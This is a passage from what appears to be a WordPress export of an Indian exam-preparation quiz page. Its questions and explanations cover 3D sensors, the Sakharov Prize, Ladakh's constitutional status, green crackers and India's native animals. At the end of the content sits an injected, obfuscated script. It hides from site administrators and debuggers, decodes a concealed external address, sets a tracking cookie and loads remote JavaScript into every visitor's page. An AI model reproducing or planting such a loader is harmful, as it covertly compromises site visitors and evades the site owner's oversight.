4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3, 4 and 5<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>In NEWS: <\/strong>NHAI to deploy 3D sensors to identify potholes, road cracks across 23 States<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>3D Sensors:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>3D sensors are devices that capture real-world objects or environments in three dimensions, measuring not just x and y (width and height), but also z (depth).<\/li>\n\n\n\n<li>They detect the shape, size, distance, and spatial position of objects by analyzing reflected light, sound, or other signals.<\/li>\n\n\n\n<li>In simple terms, a 3D sensor can \u201csee\u201d depth \u2014 giving machines perception similar to human vision.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Applications of 3D Sensors:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>Smartphones and tablets: Facial recognition (Face ID), gesture control,<strong> augmented reality (AR) apps.<\/strong><\/li>\n\n\n\n<li>Gaming: Motion tracking in devices like Xbox Kinect or VR headsets.<\/li>\n\n\n\n<li>Driver-assistance systems (ADAS): Parking sensors, collision avoidance, blind-spot detection.<\/li>\n\n\n\n<li>Autonomous vehicles: LIDAR-based 3D mapping for navigation and obstacle detection.<\/li>\n\n\n\n<li>Robotics: Object detection, picking and placing, safety zones.<\/li>\n\n\n\n<li><strong>Quality inspection<\/strong>: Measuring parts in 3D to ensure precision in manufacturing.<\/li>\n\n\n\n<li>Medical imaging and surgery: 3D scanners assist in prosthetics design, surgical planning, and rehabilitation.<\/li>\n\n\n\n<li>Patient monitoring: Depth cameras detect movement and posture.<\/li>\n\n\n\n<li>Facial recognition and intrusion detection systems use 3D imaging for higher accuracy.<\/li>\n\n\n\n<li>Create realistic 3D maps of users and environments for immersive experiences.<\/li>\n\n\n\n<li>Road Safety: <strong>Detects potholes<\/strong>, cracks, and surface defects on national highways.<\/li>\n\n\n\n<li><strong>Gesture-based control of lights<\/strong>, TVs, and appliances using 3D motion sensors.<\/li>\n\n\n\n<li>Drones with 3D sensors for mapping terrain, crop monitoring, and <strong>yield estimation<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Hence option (d) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Common 3D sensing technologies include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-128\">\n<li>Time-of-Flight (ToF): Measures the time light takes to reflect back.<\/li>\n\n\n\n<li>LIDAR (Light Detection and Ranging): Uses laser pulses to build accurate 3D surface maps.<\/li>\n\n\n\n<li>Structured Light: Projects patterns and measures distortions to detect shapes.<\/li>\n\n\n\n<li>Stereo Vision: Uses dual cameras to measure depth differences.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><strong>Q. &#8220;3D printing&#8221; has applications in which of the following?<\/strong> <br><br>1. Preparation of confectionery items <br>2. Manufacture of bionic ears <br>3. Automotive industry <br>4. Reconstructive surgeries <br>5. Data processing technologies <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1, 3 and 4 only<br>(b) 2, 3 and 5 only <br>(c) 1 and 4 only <br><strong>(d) 1, 2, 3, 4 and 5<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/nhai-to-deploy-3d-sensors-to-identify-potholes-road-cracks-across-23-states\/article70190569.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/nhai-to-deploy-3d-sensors-to-identify-potholes-road-cracks-across-23-states\/article70190569.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>7. The Sakharov Prize for human rights is awarded by the<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(a) European Union<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(b) United Nations<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(c) United Nations Human Rights Council<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(d) World Bank<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Answer: (a) European Union<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>In NEWS: <\/strong>Journalists imprisoned in Belarus and Georgia win EU\u2019s top human rights award. <strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li>Two journalists currently imprisoned\u2014Andrzej Poczobut from Belarus and Mzia Amaghlobeli from Georgia\u2014were awarded the European Union\u2019s Sakharov Prize for Freedom of Thought in 2025.<\/li>\n\n\n\n<li>European Parliament President Roberta Metsola highlighted their courage and their role as symbols of the fight for freedom and democracy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>The Sakharov Prize:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-140\">\n<li>The Sakharov Prize is a prestigious human rights award established by the European Parliament in 1988.<\/li>\n\n\n\n<li>It is named after Andrei Sakharov, a Soviet physicist, dissident, and Nobel Peace Prize laureate known for his courageous fight for human rights, freedom of thought, and democracy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>The prize honors individuals, groups, or organizations that have made an outstanding contribution to:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-142\">\n<li>Defending human rights and fundamental freedoms<\/li>\n\n\n\n<li>Promoting freedom of thought<\/li>\n\n\n\n<li>Advancing democracy and the rule of law<\/li>\n\n\n\n<li>Combating oppression, injustice, and political persecution<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Selection Process<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-144\">\n<li>Candidates are nominated by the political groups within the European Parliament.<\/li>\n\n\n\n<li>A committee of senior Members of the European Parliament (MEPs) selects the laureate(s) from the nominees.<\/li>\n\n\n\n<li>The prize is awarded annually.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>The award consists of:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>A formal recognition by the European Parliament<\/li>\n\n\n\n<li>A monetary prize (currently \u20ac50,000) to support the laureate\u2019s work<\/li>\n\n\n\n<li>The ceremony is traditionally held at the European Parliament in Strasbourg, France.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. Who amongst the following are members of the Jury to select the recipient of &#8216;Gandhi Peace Prize&#8217;?<\/strong><br><br>I. The President of India&nbsp; <br>II. The Prime Minister of India&nbsp; <br>III. The Chief Justice of India&nbsp; <br>IV. The Leader of Opposition in the Lok Sabha&nbsp; <br><br><strong>Select the correct answer using the code given below.&nbsp;<\/strong> <br><br>(a) II and IV only&nbsp;&nbsp; <br>(b) I, II and III&nbsp; <br><strong>(c) II, III and IV&nbsp;&nbsp;&nbsp; <\/strong>&nbsp; <br>(d) I and III only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/journalists-imprisoned-in-belarus-and-georgia-win-eus-top-human-rights-award\/article70189554.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/journalists-imprisoned-in-belarus-and-georgia-win-eus-top-human-rights-award\/article70189554.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>8. With reference to Indian polity, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">1. Article 371 of the constitution of India provides special administrative provisions for Ladakh and Jammu and Kashmir to protect local customs, laws, and interests.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">2. Currently, Ladakh acts as a Union Territory (UT) without a legislature which is administered by a Lieutenant Governor appointed by the President of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>In NEWS: <\/strong>As talks on Ladakh resume, Centre offers special provisions under Article 371<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>BACKGROUND<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>1. Ladakh\u2019s Current Administrative Status<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-161\">\n<li>Ladakh became a <strong>Union Territory (UT) without legislature<\/strong> on <strong>October 31, 2019<\/strong>, following the <strong>Jammu and Kashmir Reorganisation Act, 2019<\/strong>.<\/li>\n\n\n\n<li>Earlier, it was a part of the <strong>erstwhile State of Jammu &amp; Kashmir<\/strong>.<\/li>\n\n\n\n<li>Ladakh has <strong>two districts<\/strong>: <strong>Leh<\/strong> and <strong>Kargil<\/strong>.<\/li>\n\n\n\n<li>Administered by a <strong>Lieutenant Governor<\/strong> appointed by the President of India. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>2. Reason for Statehood and Sixth Schedule Demands<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-163\">\n<li>Post-2019, <strong>absence of legislative representation<\/strong> and <strong>local decision-making powers<\/strong> led to concerns over:<ul><li><strong>Land rights<\/strong> of locals.<\/li><\/ul><ul><li><strong>Employment reservation<\/strong> for residents.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Protection of tribal culture and ecology<\/strong> in a fragile Himalayan region.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Civil society groups \u2014 <strong>Leh Apex Body (LAB)<\/strong> and <strong>Kargil Democratic Alliance (KDA)<\/strong> \u2014 spearhead the movement.<\/li>\n\n\n\n<li><strong>They demand:<\/strong><ul><li><strong>Full Statehood<\/strong> for Ladakh, <strong>or<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Sixth Schedule inclusion<\/strong> for local autonomy.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>3. Recent Context (2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-165\">\n<li>Protests turned violent in Leh; <strong>four people killed<\/strong>, including a <strong>Kargil war veteran<\/strong>.<\/li>\n\n\n\n<li>MHA offered to explore <strong>Article 371-type provisions<\/strong> as a possible middle path.<\/li>\n\n\n\n<li>LAB and KDA rejected this, insisting on <strong>Sixth Schedule recognition<\/strong>.<\/li>\n\n\n\n<li>They also demanded <strong>release of Sonam Wangchuk<\/strong> and <strong>compensation for victims<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>CONSTITUTIONAL CONTEXT<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>A. Article 371 (Part XXI \u2013 Temporary, Transitional and Special Provisions)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-168\">\n<li>Provides <strong>special administrative provisions<\/strong> for certain States to protect <strong>local customs, laws, and interests<\/strong>.<\/li>\n\n\n\n<li>Applicable to <strong>12 States<\/strong>: Nagaland, Assam, Manipur, Mizoram, Maharashtra, Gujarat, Andhra Pradesh, Telangana, Arunachal Pradesh, Goa, Sikkim, Karnataka.<\/li>\n\n\n\n<li><strong>Ladakh<\/strong> and <strong>Jammu &amp; Kashmir<\/strong> are governed under <strong>Articles 239 and 239A<\/strong>, not Article 371. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Example:<ul><li><strong>Article 371A (Nagaland)<\/strong> \u2013 Protection of Naga religious and social practices, customary law, and ownership of land\/resources.<\/li><\/ul><ul><li><strong>Article 371G (Mizoram)<\/strong> \u2013 Similar protection for Mizo customary law and practices.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Article 371D (Andhra Pradesh)<\/strong> \u2013 Equitable opportunities in public employment and education.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Relevance to Ladakh:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">Article 371-type special provisions could protect <strong>tribal rights, land, and local governance<\/strong>, but <strong>without legislative autonomy<\/strong> like the Sixth Schedule.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>B. Sixth Schedule [Articles 244(2) and 275(1)]<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-172\">\n<li>Applies to <strong>Assam, Meghalaya, Mizoram, Tripura<\/strong>.<\/li>\n\n\n\n<li>Provides for <strong>Autonomous District Councils (ADCs)<\/strong> \u2014 elected bodies with <strong>legislative, administrative, and financial powers<\/strong> over:<ul><li>Land management<\/li><\/ul><ul><li>Forest use<\/li><\/ul><ul><li>Agriculture<\/li><\/ul><ul><li>Village administration<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Cultural practices<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>Relevance to Ladakh:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">Around <strong>97% of Ladakh\u2019s population<\/strong> is tribal; inclusion could provide <strong>self-governance<\/strong>, <strong>land protection<\/strong>, and <strong>cultural preservation<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. Consider the following statements regarding Scheduled Areas under the Fifth Schedule of the Indian Constitution:<\/strong> <br><br>I. If an area in a State is declared as a Scheduled Area under the Fifth Schedule, the State Government loses its executive power, and a local body assumes total administration of such areas.&nbsp; <br>II. The Union Government can take over total administration of such areas under certain circumstances on the recommendation of the Governor.&nbsp; <br><br><strong>Which of the above statements is\/are correct?&nbsp;<\/strong> <br><br>(a) I only&nbsp;&nbsp;<br>(b) II only&nbsp; <br>(c) Both I and II&nbsp; <br><strong>(d) Neither I nor II<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/mha-suggests-special-provisions-for-ladakh-under-article-371-of-constitution\/article70190769.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/mha-suggests-special-provisions-for-ladakh-under-article-371-of-constitution\/article70190769.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>9. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Statement I: <\/strong>Genuine green crackers can be identified by specific packaging features.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Statement II: <\/strong>The packaging displays the &#8216;Green Fireworks&#8217; logo along with &#8216;CSIR-NEERI&#8217; branding.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Statement III: <\/strong>QR code on the packaging provides details about the manufacturer, formulation, and NEERI certification status of the product.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\"><strong>Answer: <\/strong>(a) Both Statement II and Statement III are correct and both of them explain Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>In NEWS: <\/strong>How to identify genuine \u2018green\u2019 crackers approved for sale in Delhi-NCR?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Green Crackers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-189\">\n<li>Green crackers are specially designed fireworks aimed at reducing the environmental impact of traditional firecrackers.<\/li>\n\n\n\n<li>These eco-friendly alternatives minimize air and noise pollution during festivals like Diwali.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\"><strong>How to Identify Genuine Green Crackers<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-191\">\n<li><strong>Official Green Fireworks Logo:<\/strong> Ensure the packaging displays the &#8216;Green Fireworks&#8217; logo along with &#8216;CSIR-NEERI&#8217; branding.<\/li>\n\n\n\n<li><strong>Verified QR Code: <\/strong>Scan the QR code on the packaging using the &#8216;CSIR-NEERI Green QR Code&#8217; mobile app. This will provide details about the manufacturer, formulation, and NEERI certification status of the product.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>Hence both Statement II and Statement III are correct and both of them explain Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>Types of Green Crackers<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\">There are three primary types, each designed to reduce pollution:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-195\">\n<li>SWAS (Safe Water Releaser): Releases water vapor, reducing particulate emissions by up to 30%.<\/li>\n\n\n\n<li>STAR (Safe Thermite Cracker): Also releases water vapor and produces less noise.<\/li>\n\n\n\n<li>SAFAL (Safe Minimal Aluminium): Uses magnesium instead of aluminum to lower pollutant levels.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>Sale and Usage Guidelines<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-197\">\n<li>Green crackers can only be sold by licensed traders at designated sale points.<\/li>\n\n\n\n<li>Sale is permitted only during specific periods around festivals, usually for a few days.<\/li>\n\n\n\n<li>Sale of crackers via online platforms is prohibited.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><strong>Q. On which of the following can you find the Bureau of Energy Efficiency Star Label?<\/strong> <br><br>1. Ceiling fans <br>2. Electric geysers <br>3. Tubular fluorescent lamps <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 2 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/cities\/delhi\/how-to-identify-genuine-green-crackers-approved-for-sale-in-delhi-ncr-10312075\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/cities\/delhi\/how-to-identify-genuine-green-crackers-approved-for-sale-in-delhi-ncr-10312075\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>10. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\">1. Asiatic lion is naturally found in India only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">2. Double-humped camel is naturally found in India only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">3. One-horned rhinoceros is naturally found in India only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-208 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-210\">\n<li>The Asiatic lion (Panthera leo persica) is naturally <strong>found only in the Gir Forest of Gujarat, India.<\/strong><\/li>\n\n\n\n<li>The double-humped camel (Bactrian camel) is native to Central Asia (Mongolia and China), not India.<\/li>\n\n\n\n<li>The one-horned rhinoceros (Indian rhinoceros or greater one-horned rhino) is found in India and Nepal (especially in Kaziranga, Pobitora, and Chitwan National Park in Nepal).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\"><strong>Hence option (a) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements with respect to the Judicial appointments in India: 1. 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